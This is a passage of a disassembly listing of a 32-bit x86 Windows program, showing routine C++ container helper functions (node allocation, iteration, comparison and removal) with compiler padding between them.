esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_415040: ; CODE XREF: sub_414E10+82j ; sub_414E10+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415100 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_415100 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415140 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151C0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415230 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4152A0 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_4152A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41536D push edi mov edi, [esp+14h+arg_0] loc_41531F: ; CODE XREF: sub_4152E0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415351 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41535A ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152E0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41535A: ; CODE XREF: sub_4152E0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41531F pop edi loc_41536D: ; CODE XREF: sub_4152E0+38j pop esi add esp, 0Ch retn 4 sub_4152E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153B0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415450 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415450 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415490 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415570 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415570 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41568D push edi mov edi, [esp+14h+arg_0] loc_41563F: ; CODE XREF: sub_415600+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415671 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41567A ; --------------------------------------------------------------------------- loc_415671: ; CODE XREF: sub_415600+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41567A: ; CODE XREF: sub_415600+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41563F pop edi loc_41568D: ; CODE XREF: sub_415600+38j pop esi add esp, 0Ch retn 4 sub_415600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156D0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156F0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415710 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415740 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415740 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415770 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415770 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157B0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415820 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415860 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415860 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415890 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415890 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158D0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415920 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_4159AD push edi mov edi, [esp+14h+arg_0] loc_41595F: ; CODE XREF: sub_415920+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415991 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41599A ; --------------------------------------------------------------------------- loc_415991: ; CODE XREF: sub_415920+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41599A: ; CODE XREF: sub_415920+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41595F pop edi loc_4159AD: ; CODE XREF: sub_415920+38j pop esi add esp, 0Ch retn 4 sub_415920 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159F0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A10 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A60 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A90 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B00 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415B00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BED push edi mov edi, [esp+8+arg_0] loc_415BBA: ; CODE XREF: sub_415BA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BBA pop edi loc_415BED: ; CODE XREF: sub_415BA0+13j pop esi retn 0Ch sub_415BA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C20 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D3A loc_415CF8: ; CODE XREF: sub_415CE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D3A: ; CODE XREF: sub_415CE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D70 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D85 mov edi, esi loc_415D85: ; CODE XREF: ___:00415D81j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D9A mov edi, esi loc_415D9A: ; CODE XREF: ___:00415D96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DC0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DE0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E00 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E20 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E40 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E70 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415EA0 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415EA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415ED0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415ED0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F70 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41608A loc_416048: ; CODE XREF: sub_416030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_416030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160C0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160C0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, 